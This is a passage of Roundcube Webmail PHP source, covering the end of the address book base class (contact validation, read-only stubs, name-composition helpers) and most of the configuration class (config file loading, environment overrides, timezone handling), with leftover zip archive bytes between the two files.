                    $error = $rcube->gettext(['name' => 'emailformaterror', 'vars' => ['email' => $email]]);
                    $this->set_error(self::ERROR_VALIDATE, $error);
                    $valid = false;
                    break;
                }
            }
        }

        // allow plugins to do contact validation and auto-fixing
        $plugin = $rcube->plugins->exec_hook('contact_validate', [
                'record'  => $save_data,
                'autofix' => $autofix,
                'valid'   => $valid,
        ]);

        if ($valid && !$plugin['valid']) {
            $this->set_error(self::ERROR_VALIDATE, $plugin['error']);
        }

        if (is_array($plugin['record'])) {
            $save_data = $plugin['record'];
        }

        return $plugin['valid'];
    }

    /**
     * Create a new contact record
     *
     * @param array $save_data Associative array with save data
     *                         Keys:   Field name with optional section in the form FIELD:SECTION
     *                         Values: Field value. Can be either a string or an array of strings for multiple values
     * @param bool  $check     True to check for duplicates first
     *
     * @return mixed The created record ID on success, False on error
     */
    function insert($save_data, $check = false)
    {
        // empty for read-only address books
    }

    /**
     * Create new contact records for every item in the record set
     *
     * @param rcube_result_set $recset Recordset to insert
     * @param bool             $check  True to check for duplicates first
     *
     * @return array List of created record IDs
     */
    function insertMultiple($recset, $check = false)
    {
        $ids = [];
        if ($recset instanceof rcube_result_set) {
            while ($row = $recset->next()) {
                if ($insert = $this->insert($row, $check)) {
                    $ids[] = $insert;
                }
            }
        }

        return $ids;
    }

    /**
     * Update a specific contact record
     *
     * @param mixed $id        Record identifier
     * @param array $save_cols Associative array with save data
     *                         Keys:   Field name with optional section in the form FIELD:SECTION
     *                         Values: Field value. Can be either a string or an array of strings for multiple values
     *
     * @return mixed On success if ID has been changed returns ID, otherwise True, False on error
     */
    function update($id, $save_cols)
    {
        // empty for read-only address books
    }

    /**
     * Mark one or more contact records as deleted
     *
     * @param array $ids   Record identifiers
     * @param bool  $force Remove records irreversible (see self::undelete)
     *
     * @return int|false Number of removed records, False on failure
     */
    function delete($ids, $force = true)
    {
        // empty for read-only address books
    }

    /**
     * Unmark delete flag on contact record(s)
     *
     * @param array $ids Record identifiers
     */
    function undelete($ids)
    {
        // empty for read-only address books
    }

    /**
     * Mark all records in database as deleted
     *
     * @param bool $with_groups Remove also groups
     */
    function delete_all($with_groups = false)
    {
        // empty for read-only address books
    }

    /**
     * Sets/clears the current group.
     *
     * This affects the contact set considered when using the count(), list_records() and search() operations to those
     * contacts that belong to the given group. If no current group is set, all contacts in the addressbook are
     * considered.
     *
     * This filter mechanism is applied in addition to other filter mechanisms, see the description of the count()
     * operation.
     *
     * @param null|int|string $group_id Database identifier of the group. Use 0/"0"/null to reset the group filter.
     */
    function set_group($group_id)
    {
        // empty for address books don't supporting groups
    }

    /**
     * List all active contact groups of this source
     *
     * @param ?string $search Optional search string to match group name
     * @param int     $mode   Search mode. Sum of self::SEARCH_*
     *
     * @return array Indexed list of contact groups, each a hash array
     */
    function list_groups($search = null, $mode = 0)
    {
        // empty for address books don't supporting groups
        return [];
    }

    /**
     * Get group properties such as name and email address(es)
     *
     * @param string $group_id Group identifier
     *
     * @return ?array Group properties as hash array, null in case of error.
     */
    function get_group($group_id)
    {
        // empty for address books don't supporting groups
        return null;
    }

    /**
     * Create a contact group with the given name
     *
     * @param string $name The group name
     *
     * @return array|false False on error, array with record props in success
     */
    function create_group($name)
    {
        // empty for address books don't supporting groups
        return false;
    }

    /**
     * Delete the given group and all linked group members
     *
     * @param string $group_id Group identifier
     *
     * @return bool True on success, false if no data was changed
     */
    function delete_group($group_id)
    {
        // empty for address books don't supporting groups
        return false;
    }

    /**
     * Rename a specific contact group
     *
     * @param string $group_id Group identifier
     * @param string $newname  New name to set for this group
     * @param string &$newid   New group identifier (if changed, otherwise don't set)
     *
     * @return string|false New name on success, false if no data was changed
     */
    function rename_group($group_id, $newname, &$newid)
    {
        // empty for address books don't supporting groups
        return false;
    }

    /**
     * Add the given contact records the a certain group
     *
     * @param string       $group_id Group identifier
     * @param array|string $ids      List of contact identifiers to be added
     *
     * @return int Number of contacts added
     */
    function add_to_group($group_id, $ids)
    {
        // empty for address books don't supporting groups
        return 0;
    }

    /**
     * Remove the given contact records from a certain group
     *
     * @param string       $group_id Group identifier
     * @param array|string $ids      List of contact identifiers to be removed
     *
     * @return int Number of deleted group members
     */
    function remove_from_group($group_id, $ids)
    {
        // empty for address books don't supporting groups
        return 0;
    }

    /**
     * Get group assignments of a specific contact record
     *
     * @param mixed $id Record identifier
     *
     * @return array List of assigned groups indexed by a group ID.
     *               Every array element can be just a group name (string), or an array
     *               with 'ID' and 'name' elements.
     * @since 0.5-beta
     */
    function get_record_groups($id)
    {
        // empty for address books don't supporting groups
        return [];
    }

    /**
     * Utility function to return all values of a certain data column
     * either as flat list or grouped by subtype
     *
     * @param string $col  Col name
     * @param array  $data Record data array as used for saving
     * @param bool   $flat True to return one array with all values,
     *                     False for hash array with values grouped by type
     *
     * @return array List of column values
     */
    public static function get_col_values($col, $data, $flat = false)
    {
        $out = [];
        foreach ((array) $data as $c => $values) {
            if ($c === $col || strpos($c, $col.':') === 0) {
                if ($flat) {
                    $out = array_merge($out, (array) $values);
                }
                else {
                    list(, $type) = rcube_utils::explode(':', $c);
                    if ($type !== null && isset($out[$type])) {
                        $out[$type] = array_merge((array) $out[$type], (array) $values);
                    }
                    else {
                        $out[$type] = (array) $values;
                    }
                }
            }
        }

        // remove duplicates
        if ($flat && !empty($out)) {
            $out = array_unique($out);
        }

        return $out;
    }

    /**
     * Compose a valid display name from the given structured contact data
     *
     * @param array $contact    Hash array with contact data as key-value pairs
     * @param bool  $full_email Don't attempt to extract components from the email address
     *
     * @return string Display name
     */
    public static function compose_display_name($contact, $full_email = false)
    {
        $contact = rcube::get_instance()->plugins->exec_hook('contact_displayname', $contact);
        $fn      = $contact['name'] ?? '';

        // default display name composition according to vcard standard
        if (!$fn) {
            $keys = ['prefix', 'firstname', 'middlename', 'surname', 'suffix'];
            $fn   = implode(' ', array_filter(array_intersect_key($contact, array_flip($keys))));
            $fn   = trim(preg_replace('/\s+/u', ' ', $fn));
        }

        // use email address part for name
        $email = self::get_col_values('email', $contact, true);
        $email = $email[0] ?? null;

        if ($email && (empty($fn) || $fn == $email)) {
            // return full email
            if ($full_email) {
                return $email;
            }

            list($emailname) = explode('@', $email);

            if (preg_match('/(.*)[\.\-\_](.*)/', $emailname, $match)) {
                $fn = trim(ucfirst($match[1]).' '.ucfirst($match[2]));
            }
            else {
                $fn = ucfirst($emailname);
            }
        }

        return $fn;
    }

    /**
     * Compose the name to display in the contacts list for the given contact record.
     * This respects the settings parameter how to list contacts.
     *
     * @param array $contact Hash array with contact data as key-value pairs
     *
     * @return string List name
     */
    public static function compose_list_name($contact)
    {
        static $compose_mode;

        if (!isset($compose_mode)) {
            $compose_mode = (int) rcube::get_instance()->config->get('addressbook_name_listing', 0);
        }

        $get_names = function ($contact, $fields) {
            $result = [];
            foreach ($fields as $field) {
                if (!empty($contact[$field])) {
                    $result[] = $contact[$field];
                }
            }
            return $result;
        };

        switch ($compose_mode) {
        case 3:
            $names = $get_names($contact, ['firstname', 'middlename']);
            if (!empty($contact['surname'])) {
                array_unshift($names, $contact['surname'] . ',');
            }
            $fn = implode(' ', $names);
            break;
        case 2:
            $keys = ['surname', 'firstname', 'middlename'];
            $fn   = implode(' ', $get_names($contact, $keys));
            break;
        case 1:
            $keys = ['firstname', 'middlename', 'surname'];
            $fn   = implode(' ', $get_names($contact, $keys));
            break;
        case 0:
            if (!empty($contact['name'])) {
                $fn = $contact['name'];
            }
            else {
                $keys = ['prefix', 'firstname', 'middlename', 'surname', 'suffix'];
                $fn   = implode(' ', $get_names($contact, $keys));
            }
            break;
        default:
            $plugin = rcube::get_instance()->plugins->exec_hook('contact_listname', ['contact' => $contact]);
            $fn     = $plugin['fn'];
        }

        $fn = trim($fn, ', ');
        $fn = preg_replace('/\s+/u', ' ', $fn);

        // fallbacks...
        if ($fn === '') {
            // ... display name
            if (isset($contact['name']) && ($name = trim($contact['name']))) {
                $fn = $name;
            }
            // ... organization
            else if (isset($contact['organization']) && ($org = trim($contact['organization']))) {
                $fn = $org;
            }
            // ... email address
            else if (($email = self::get_col_values('email', $contact, true)) && !empty($email)) {
                $fn = $email[0];
            }
        }

        return $fn;
    }

    /**
     * Build contact display name for autocomplete listing
     *
     * @param array  $contact Hash array with contact data as key-value pairs
     * @param string $email   Optional email address
     * @param string $name    Optional name (self::compose_list_name() result)
     * @param string $templ   Optional template to use (defaults to the 'contact_search_name' config option)
     *
     * @return string Display name
     */
    public static function compose_search_name($contact, $email = null, $name = null, $templ = null)
    {
        static $template;

        if (empty($templ) && !isset($template)) {  // cache this
            $template = rcube::get_instance()->config->get('contact_search_name');
            if (empty($template)) {
                $template = '{name} <{email}>';
            }
        }

        $result = $templ ?: $template;

        if (preg_match_all('/\{[a-z]+\}/', $result, $matches)) {
            foreach ($matches[0] as $key) {
                $key   = trim($key, '{}');
                $value = '';

                switch ($key) {
                case 'name':
                    $value = $name ?: self::compose_list_name($contact);

                    // If name(s) are undefined compose_list_name() may return an email address
                    // here we prevent from returning the same name and email
                    if ($name === $email && strpos($result, '{email}') !== false) {
                        $value = '';
                    }

                    break;

                case 'email':
                    $value = $email;
                    break;
                }

                if (empty($value)) {
                    $value = strpos($key, ':') ? $contact[$key] : self::get_col_values($key, $contact, true);
                    if (is_array($value) && isset($value[0])) {
                        $value = $value[0];
                    }
                }

                if (!is_string($value)) {
                    $value = '';
                }

                $result = str_replace('{' . $key . '}', $value, $result);
            }
        }

        $result = preg_replace('/\s+/u', ' ', $result);
        $result = preg_replace('/\s*(<>|\(\)|\[\])/u', '', $result);
        $result = trim($result, '/ ');

        return $result;
    }

    /**
     * Create a unique key for sorting contacts
     *
     * @param array  $contact  Contact record
     * @param string $sort_col Sorting column name
     *
     * @return string Unique key
     */
    public static function compose_contact_key($contact, $sort_col)
    {
        $key = isset($contact[$sort_col]) ? $contact[$sort_col] : null;

        // add email to a key to not skip contacts with the same name (#1488375)
        if (($email = self::get_col_values('email', $contact, true)) && !empty($email)) {
            $key .= ':' . implode(':', (array)$email);
        }

        // Make the key really unique (as we e.g. support contacts with no email)
        $key .= ':' . $contact['sourceid'] . ':' . $contact['ID'];

        return $key;
    }

    /**
     * Compare search value with contact data
     *
     * @param string       $colname Data name
     * @param string|array $value   Data value
     * @param string       $search  Search value
     * @param int          $mode    Search mode
     *
     * @return bool Comparison result
     */
    protected function compare_search_value($colname, $value, $search, $mode)
    {
        // The value is a date string, for date we'll
        // use only strict comparison (mode = 1)
        // @TODO: partial search, e.g. match only day and month
        if (in_array($colname, $this->date_cols)) {
            return (($value = rcube_utils::anytodatetime($value))
                && ($search = rcube_utils::anytodatetime($search))
                && $value->format('Ymd') == $search->format('Ymd'));
        }

        // Gender is a special value, must use strict comparison (#5757)
        if ($colname == 'gender') {
            $mode = self::SEARCH_STRICT;
        }

        // composite field, e.g. address
        foreach ((array) $value as $val) {
            $val = mb_strtolower($val);

            if ($mode & self::SEARCH_STRICT) {
                $got = ($val == $search);
            }
            else if ($mode & self::SEARCH_PREFIX) {
                $got = ($search == substr($val, 0, strlen($search)));
            }
            else {
                $got = (strpos($val, $search) !== false);
            }

            if ($got) {
                return true;
            }
        }

        return false;
    }
}
PK
h�\����zz&program/lib/Roundcube/rcube_config.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Class to read configuration settings                                |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

/**
 * Configuration class for Roundcube
 *
 * @package    Framework
 * @subpackage Core
 */
class rcube_config
{
    const DEFAULT_SKIN = 'elastic';

    /** @var string A skin configured in the config file (before being replaced by a user preference) */
    public $system_skin = 'elastic';

    private $env       = '';
    private $paths     = [];
    private $prop      = [];
    private $errors    = [];
    private $userprefs = [];
    private $immutable = [];
    private $client_tz;


    /**
     * Renamed options
     *
     * @var array
     */
    private $legacy_props = [
        // new name => old name
        'mail_pagesize'        => 'pagesize',
        'addressbook_pagesize' => 'pagesize',
        'reply_mode'           => 'top_posting',
        'refresh_interval'     => 'keep_alive',
        'min_refresh_interval' => 'min_keep_alive',
        'messages_cache_ttl'   => 'message_cache_lifetime',
        'mail_read_time'       => 'preview_pane_mark_read',
        'session_debug'        => 'log_session',
        'redundant_attachments_cache_ttl' => 'redundant_attachments_memcache_ttl',
        'imap_host'            => 'default_host',
        'smtp_host'            => 'smtp_server',
    ];

    /**
     * Object constructor
     *
     * @param string $env Environment suffix for config files to load
     */
    public function __construct($env = '')
    {
        $this->env = $env;

        if ($paths = getenv('RCUBE_CONFIG_PATH')) {
            $this->paths = explode(PATH_SEPARATOR, $paths);
            // make all paths absolute
            foreach ($this->paths as $i => $path) {
                if (!rcube_utils::is_absolute_path($path)) {
                    if ($realpath = realpath(RCUBE_INSTALL_PATH . $path)) {
                        $this->paths[$i] = unslashify($realpath) . '/';
                    }
                    else {
                        unset($this->paths[$i]);
                    }
                }
                else {
                    $this->paths[$i] = unslashify($path) . '/';
                }
            }
        }

        if (defined('RCUBE_CONFIG_DIR') && !in_array(RCUBE_CONFIG_DIR, $this->paths)) {
            $this->paths[] = RCUBE_CONFIG_DIR;
        }

        if (empty($this->paths)) {
            $this->paths[] = RCUBE_INSTALL_PATH . 'config/';
        }

        $this->load();

        // Defaults, that we do not require you to configure,
        // but contain information that is used in various locations in the code:
        if (empty($this->prop['contactlist_fields'])) {
            $this->set('contactlist_fields', ['name', 'firstname', 'surname', 'email']);
        }
    }

    /**
     * Looks inside the string to determine what type might be best as a container.
     *
     * @param string $value The value to inspect
     *
     * @return string The guessed type.
     */
    private function guess_type($value)
    {
        if (preg_match('/^\d+$/', $value)) {
            return 'int';
        }

        if (preg_match('/^[-+]?(\d+(\.\d*)?|\.\d+)([eE][-+]?\d+)?$/', $value)) {
            return 'float';
        }

        if (preg_match('/^(t(rue)?)|(f(alse)?)$/i', $value)) {
            return 'bool';
        }

        // TODO: array/object

        return 'string';
    }

    /**
     * Parse environment variable into PHP type.
     *
     * @param string $string String to parse into PHP type
     * @param string $type   Type of value to return
     *
     * @return mixed Appropriately typed interpretation of $string.
     */
    private function parse_env($string, $type = null)
    {
        switch ($type) {
        case 'bool':
            return (bool) $string;

        case 'int':
            return (int) $string;

        case 'float':
            return (float) $string;

        case 'string':
            return $string;

        case 'array':
            return json_decode($string, true);

        case 'object':
            return json_decode($string, false);
        }

        return $this->parse_env($string, $this->guess_type($string));
    }

    /**
     * Get environment variable value.
     *
     * Retrieve an environment variable's value or if it's not found, return the
     * provided default value.
     *
     * @param string $varname       Environment variable name
     * @param mixed  $default_value Default value to return if necessary
     * @param string $type          Type of value to return
     *
     * @return mixed Value of the environment variable or default if not found.
     */
    private function getenv_default($varname, $default_value, $type = null)
    {
        $value = getenv($varname);

        if ($value === false) {
            $value = $default_value;
        }
        else {
            $value = $this->parse_env($value, $type ?: gettype($default_value));
        }

        return $value;
    }

    /**
     * Load config from local config file
     */
    private function load()
    {
        // Load default settings
        if (!$this->load_from_file('defaults.inc.php')) {
            $this->errors[] = 'defaults.inc.php was not found.';
        }

        // load main config file
        if (!$this->load_from_file('config.inc.php')) {
            // Old configuration files
            if (!$this->load_from_file('main.inc.php') || !$this->load_from_file('db.inc.php')) {
                $this->errors[] = 'config.inc.php was not found.';
            }
            else if (rand(1,100) == 10) {  // log warning on every 100th request (average)
                trigger_error("config.inc.php was not found. Please migrate your config by running bin/update.sh", E_USER_WARNING);
            }
        }

        // load host-specific configuration
        $this->load_host_config();

        // set skin (with fallback to old 'skin_path' property)
        if (empty($this->prop['skin'])) {
            if (!empty($this->prop['skin_path'])) {
                $this->prop['skin'] = str_replace('skins/', '', unslashify($this->prop['skin_path']));
            }
            else {
                $this->prop['skin'] = self::DEFAULT_SKIN;
            }
        }

        if ($this->prop['skin'] == 'default') {
            $this->prop['skin'] = self::DEFAULT_SKIN;
        }

        $this->system_skin = $this->prop['skin'];

        // fix paths
        foreach (['log_dir' => 'logs', 'temp_dir' => 'temp'] as $key => $dir) {
            foreach ([$this->prop[$key], '../' . $this->prop[$key], RCUBE_INSTALL_PATH . $dir] as $path) {
                if ($path && ($realpath = realpath(unslashify($path)))) {
                    $this->prop[$key] = $realpath;
                    break;
                }
            }
        }

        // fix default imap folders encoding
        foreach (['drafts_mbox', 'junk_mbox', 'sent_mbox', 'trash_mbox'] as $folder) {
            $this->prop[$folder] = rcube_charset::convert($this->prop[$folder], RCUBE_CHARSET, 'UTF7-IMAP');
        }

        // set PHP error logging according to config
        $error_log = $this->prop['log_driver'] ?: 'file';
        if ($error_log == 'file') {
            $error_log  = $this->prop['log_dir'] . '/errors';
            $error_log .= $this->prop['log_file_ext'] ?? '.log';
        }

        if ($error_log && $error_log != 'stdout') {
            ini_set('error_log', $error_log);
        }

        // set default screen layouts
        $this->prop['supported_layouts'] = ['widescreen', 'desktop', 'list'];

        // remove deprecated properties
        unset($this->prop['dst_active']);
    }

    /**
     * Load a host-specific config file if configured
     * This will merge the host specific configuration with the given one
     */
    private function load_host_config()
    {
        if (empty($this->prop['include_host_config'])) {
            return;
        }

        foreach (['HTTP_HOST', 'SERVER_NAME', 'SERVER_ADDR'] as $key) {
            if (empty($_SERVER[$key])) {
                continue;
            }

            $fname = null;
            $name  = $_SERVER[$key];

            if (!empty($this->prop['include_host_config']) && is_array($this->prop['include_host_config'])) {
                if (isset($this->prop['include_host_config'][$name])) {
                    $fname = $this->prop['include_host_config'][$name];
                }
            }
            else {
                $fname = preg_replace('/[^a-z0-9\.\-_]/i', '', $name) . '.inc.php';
            }

            if ($fname && $this->load_from_file($fname)) {
                return;
            }
        }
    }

    /**
     * Read configuration from a file
     * and merge with the already stored config values
     *
     * @param string $file Name of the config file to be loaded
     *
     * @return bool True on success, false on failure
     */
    public function load_from_file($file)
    {
        $success = false;

        foreach ($this->resolve_paths($file) as $fpath) {
            if ($fpath && is_file($fpath) && is_readable($fpath)) {
                // use output buffering, we don't need any output here
                ob_start();
                include($fpath);
                ob_end_clean();

                if (isset($config) && is_array($config)) {
                    $this->merge($config);
                    $success = true;
                }
                // deprecated name of config variable
                if (isset($rcmail_config) && is_array($rcmail_config)) {
                    $this->merge($rcmail_config);
                    $success = true;
                }
            }
        }

        return $success;
    }

    /**
     * Helper method to resolve absolute paths to the given config file.
     * This also takes the 'env' property into account.
     *
     * @param string $file    Filename or absolute file path
     * @param bool   $use_env Return -$env file path if exists
     *
     * @return array List of candidates in config dir path(s)
     */
    public function resolve_paths($file, $use_env = true)
    {
        $files    = [];
        $abs_path = rcube_utils::is_absolute_path($file);

        foreach ($this->paths as $basepath) {
            $realpath = $abs_path ? $file : realpath($basepath . '/' . $file);

            // check if <file>-<env>.inc.php exists
            if ($use_env && !empty($this->env)) {
                $envfile = preg_replace('/\.(inc.php)$/', '-' . $this->env . '.\\1', $file);
                $envfile = $abs_path ? $envfile : realpath($basepath . '/' . $envfile);

                if (is_file($envfile)) {
                    $realpath = $envfile;
                }
            }

            if ($realpath) {
                $files[] = $realpath;

                // no need to continue the loop if an absolute file path is given
                if ($abs_path) {
                    break;
                }
            }
        }

        return $files;
    }

    /**
     * Getter for a specific config parameter
     *
     * @param string $name Parameter name
     * @param mixed  $def  Default value if not set
     *
     * @return mixed The requested config value
     */
    public function get($name, $def = null)
    {
        if (isset($this->prop[$name])) {
            $result = $this->prop[$name];
        }
        else {
            $result = $def;
        }

        $result = $this->getenv_default('ROUNDCUBE_' . strtoupper($name), $result);
        $rcube  = rcube::get_instance();

        if ($name == 'timezone') {
            if (empty($result) || $result == 'auto') {
                $result = $this->client_timezone();
            }
        }
        else if ($name == 'client_mimetypes') {
            if (!$result && !$def) {
                $result = 'text/plain,text/html'
                    . ',image/jpeg,image/gif,image/png,image/bmp,image/tiff,image/webp'
                    . ',application/x-javascript,application/pdf,application/x-shockwave-flash';
            }
            if ($result && is_string($result)) {
                $result = explode(',', $result);
            }
        }
        else if ($name == 'layout') {
            if (!in_array($result, $this->prop['supported_layouts'])) {
                $result = $this->prop['supported_layouts'][0];
            }
        }
        else if ($name == 'collected_senders') {
            if (is_bool($result)) {
                $result = $result ? rcube_addressbook::TYPE_TRUSTED_SENDER : '';
            }
            $result = (string) $result;
        }
        else if ($name == 'collected_recipients') {
            if (is_bool($result)) {
                $result = $result ? rcube_addressbook::TYPE_RECIPIENT : '';
            }
            $result = (string) $result;
        }

        $plugin = $rcube->plugins->exec_hook('config_get', [
                'name'    => $name,
                'default' => $def,
                'result'  => $result
        ]);

        return $plugin['result'];
    }

    /**
     * Setter for a config parameter
     *
     * @param string $name      Parameter name
     * @param mixed  $value     Parameter value
     * @param bool   $immutable Make the value immutable
     */
    public function set($name, $value, $immutable = false)
    {
        $this->prop[$name] = $value;

        if ($immutable) {
            $this->immutable[$name] = $value;
        }
    }

    /**
     * Override config options with the given values (e.g. user prefs)
     *
     * @param array $prefs Hash array with config props to merge over
     */
    public function merge($prefs)
    {
        $prefs = $this->fix_legacy_props($prefs);
        $this->prop = array_merge($this->prop, $prefs, $this->userprefs, $this->immutable);
    }

    /**
     * Merge the given prefs over the current config
     * and make sure that they survive further merging.
     *
     * @param array $prefs Hash array with user prefs
     */
    public function set_user_prefs($prefs)
    {
        $prefs = $this->fix_legacy_props($prefs);

        // Honor the dont_override setting for any existing user preferences
        $dont_override = $this->get('dont_override');
        if (is_array($dont_override) && !empty($dont_override)) {
            foreach ($dont_override as $key) {
                unset($prefs[$key]);
            }
        }

        if (isset($prefs['skin']) && $prefs['skin'] == 'default') {
            $prefs['skin'] = $this->system_skin;
        }

        $skins_allowed = $this->get('skins_allowed');

        if (!empty($prefs['skin']) && !empty($skins_allowed) && !in_array($prefs['skin'], (array) $skins_allowed)) {
            unset($prefs['skin']);
        }

        $this->userprefs = $prefs;
        $this->prop      = array_merge($this->prop, $prefs);
    }

    /**
     * Getter for all config options.
     *
     * Unlike get() this method does not resolve any special
     * values like e.g. 'timezone'.
     *
     * It is discouraged to use this method outside of Roundcube core.
     *
     * @return array Hash array containing all config properties
     */
    public function all()
    {
        $props = $this->prop;

        foreach ($props as $prop_name => $prop_value) {
            $props[$prop_name] = $this->getenv_default('ROUNDCUBE_' . strtoupper($prop_name), $prop_value);
        }

        $rcube  = rcube::get_instance();
        $plugin = $rcube->plugins->exec_hook('config_get', ['name' => '*', 'result' => $props]);

        return $plugin['result'];
    }

    /**
     * Some options set as immutable that are also listed
     * in dont_override should not be stored permanently
     * in user preferences. Here's the list of these
     *
     * @return array List of transient options
     */
    public function transient_options()
    {
        return array_intersect(array_keys($this->immutable), (array) $this->get('dont_override'));
    }

    /**
     * Special getter for user's timezone offset including DST
     *
     * @return float Timezone offset (in hours)
     * @deprecated
     */
    public function get_timezone()
    {
        if ($tz = $this->get('timezone')) {
            try {
                $tz = new DateTimeZone($tz);
                return $tz->getOffset(new DateTime('now')) / 3600;
            }
            catch (Exception $e) {
            }
        }

        return 0;
    }

    /**
     * Return requested DES crypto key.
     *
     * @param string $key Crypto key name
     *
     * @return string Crypto key
     */
    public function get_crypto_key($key)
    {
        // Bomb out if the requested key does not exist
        if (!array_key_exists($key, $this->prop) || empty($this->prop[$key])) {
            rcube::raise_error([
                    'code' => 500, 'file' => __FILE__, 'line' => __LINE__,
                    'message' => "Request for unconfigured crypto key \"$key\""
                ], true, true);
        }

        return $this->prop[$key];
    }

    /**
     * Return configured crypto method.
     *
     * @return string Crypto method
     */
    public function get_crypto_method()
    {
        return $this->get('cipher_method') ?: 'DES-EDE3-CBC';
    }

    /**
     * Try to autodetect operating system and find the correct line endings
     *
     * @return string The appropriate mail header delimiter
     * @deprecated Since 1.3 we don't use mail()
     */
    public function header_delimiter()
    {
        // use the configured delimiter for headers
        if (!empty($this->prop['mail_header_delimiter'])) {
            $delim = $this->prop['mail_header_delimiter'];
            if ($delim == "\n" || $delim == "\r\n") {
                return $delim;
            }
            else {
                rcube::raise_error([
                        'code' => 500, 'file' => __FILE__, 'line' => __LINE__,
                        'message' => "Invalid mail_header_delimiter setting"
                    ], true, false);
            }
        }

        $php_os = strtolower(substr(PHP_OS, 0, 3));

        if ($php_os == 'win') {
            return "\r\n";
        }

        if ($php_os == 'mac') {
            return "\r\n";
        }

        return "\n";
    }

    /**
     * Returns list of configured PGP key servers
     *
     * @return array|null List of keyservers' URLs
     */
    public function keyservers()
    {
        $list = (array) $this->prop['keyservers'];

        foreach ($list as $idx => $host) {
            if (!preg_match('|^[a-z]+://|', $host)) {
                $host = "https://$host";
            }

            $list[$idx] = slashify($host);
        }

        return !empty($list) ? $list : null;
    }

    /**
     * Return the mail domain configured for the given host
     *
     * @param string $host   IMAP host
     * @param bool   $encode If true, domain name will be converted to IDN ASCII
     *
     * @return string Resolved SMTP host
     */
    public function mail_domain($host, $encode = true)
    {
        $domain = $host;

        if (!empty($this->prop['mail_domain'])) {
            if (is_array($this->prop['mail_domain'])) {
                if (isset($this->prop['mail_domain'][$host])) {
                    $domain = $this->prop['mail_domain'][$host];
                }
            }
            else {
                $domain = rcube_utils::parse_host($this->prop['mail_domain']);
            }
        }

        if ($encode) {
            $domain = rcube_utils::idn_to_ascii($domain);
        }

        return $domain;
    }

    /**
     * Getter for error state
     *
     * @return mixed Error message on error, False if no errors
     */
    public function get_error()
    {
        return empty($this->errors) ? false : implode("\n", $this->errors);
    }

    /**
     * Internal getter for client's (browser) timezone identifier
     */
    private function client_timezone()
    {
        if ($this->client_tz) {
            return $this->client_tz;
        }

        // @TODO: remove this legacy timezone handling in the future
        if (isset($_SESSION['timezone'])) {
            $props = $this->fix_legacy_props(['timezone' => $_SESSION['timezone']]);
        }

        if (!empty($props['timezone'])) {
            // Prevent from using deprecated timezone names
            $props['timezone'] = $this->resolve_timezone_alias($props['timezone']);

            try {
                $tz = new DateTimeZone($props['timezone']);
                return $this->client_tz = $tz->getName();
            }
            catch (Exception $e) { /* gracefully ignore */ }
        }

        // fallback to server's timezone
        return date_default_timezone_get();
    }

    /**
     * Convert legacy options into new ones
     *
     * @param array $props Hash array with config props
     *
     * @return array Converted config props
     */
    private function fix_legacy_props($props)
    {
        foreach ($this->legacy_props as $new => $old) {
            if (isset($props[$old])) {
                if (!isset($props[$new])) {
                    $props[$new] = $props[$old];
                }
                unset($props[$old]);
            }
        }

        // convert deprecated numeric timezone value
        if (isset($props['timezone']) && is_numeric($props['timezone'])) {
            if ($tz = self::timezone_name_from_abbr($props['timezone'])) {
                $props['timezone'] = $tz;
            }
            else {
                unset($props['timezone']);
            }
        }

        // translate old `preview_pane` settings to `layout`
        if (isset($props['preview_pane']) && !isset($props['layout'])) {
            $props['layout'] = $props['preview_pane'] ? 'desktop' : 'list';
            unset($props['preview_pane']);
        }

        // translate old `display_version` settings to `display_product_info`
        if (isset($props['display_version']) && !isset($props['display_product_info'])) {
            $props['display_product_info'] = $props['display_version'] ? 2 : 1;
            unset($props['display_version']);
        }

        return $props;
    }

    /**
     * timezone_name_from_abbr() replacement. Converts timezone offset
     * into timezone name abbreviation.
     *
     * @param float $offset Timezone offset (in hours)
     *
     * @return string|null Timezone abbreviation
     */
    static public function timezone_name_from_abbr($offset)
    {
        // List of timezones here is not complete - https://bugs.php.net/bug.php?id=44780
        if ($tz = timezone_name_from_abbr('', $offset * 3600, 0)) {
            return $tz;
        }

        // try with more complete list (#1489261)
        $timezones = [
            '-660' => "Pacific/Apia",
            '-600' => "Pacific/Honolulu",
            '-570' => "Pacific/Marquesas",
            '-540' => "America/Anchorage",
            '-480' => "America/Los_Angeles",
            '-420' => "America/Denver",
            '-360' => "America/Chicago",
            '-300' => "America/New_York",
            '-270' => "America/Caracas",
            '-240' => "America/Halifax",
            '-210' => "Canada/Newfoundland",
            '-180' => "America/Sao_Paulo",
             '-60' => "Atlantic/Azores",
               '0' => "Europe/London",
              '60' => "Europe/Paris",
             '120' => "Europe/Helsinki",
             '180' => "Europe/Moscow",
             '210' => "Asia/Tehran",
             '240' => "Asia/Dubai",
             '270' => "Asia/Kabul",
             '300' => "Asia/Karachi",
             '330' => "Asia/Kolkata",
             '345' => "Asia/Katmandu",
             '360' => "Asia/Yekaterinburg",
             '390' => "Asia/Rangoon",
             '420' => "Asia/Krasnoyarsk",
             '480' => "Asia/Shanghai",
             '525' => "Australia/Eucla",
             '540' => "Asia/Tokyo",
             '570' => "Australia/Adelaide",
             '600' => "Australia/Melbourne",
             '630' => "Australia/Lord_Howe",
             '660' => "Asia/Vladivostok",
             '690' => "Pacific/Norfolk",
             '720' => "Pacific/Auckland",
             '765' => "Pacific/Chatham",
             '780' => "Pacific/Enderbury",
             '840' => "Pacific/Kiritimati",
        ];

        $key = (string) intval($offset * 60);

        return !empty($timezones[$key]) ? $timezones[$key] : null;
    }

    /**
     * Replace deprecated timezone name with a valid one.
     *
     * @param string $tzname Timezone name
     *
     * @return string Timezone name
     */
    static public function resolve_timezone_alias($tzname)
    {
        // http://www.php.net/manual/en/timezones.others.php
        // https://en.wikipedia.org/wiki/List_of_tz_database_time_zones
        $deprecated_timezones = [
            'Australia/ACT'         => 'Australia/Sydney',
            'Australia/LHI'         => 'Australia/Lord_Howe',
            'Australia/North'       => 'Australia/Darwin',
            'Australia/NSW'         => 'Australia/Sydney',
            'Australia/Queensland'  => 'Australia/Brisbane',
            'Australia/South'       => 'Australia/Adelaide',
            'Australia/Adelaide'    => 'Australia/Hobart',
            'Australia/Tasmania'    => 'Australia/Hobart',
            'Australia/Victoria'    => 'Australia/Melbourne',
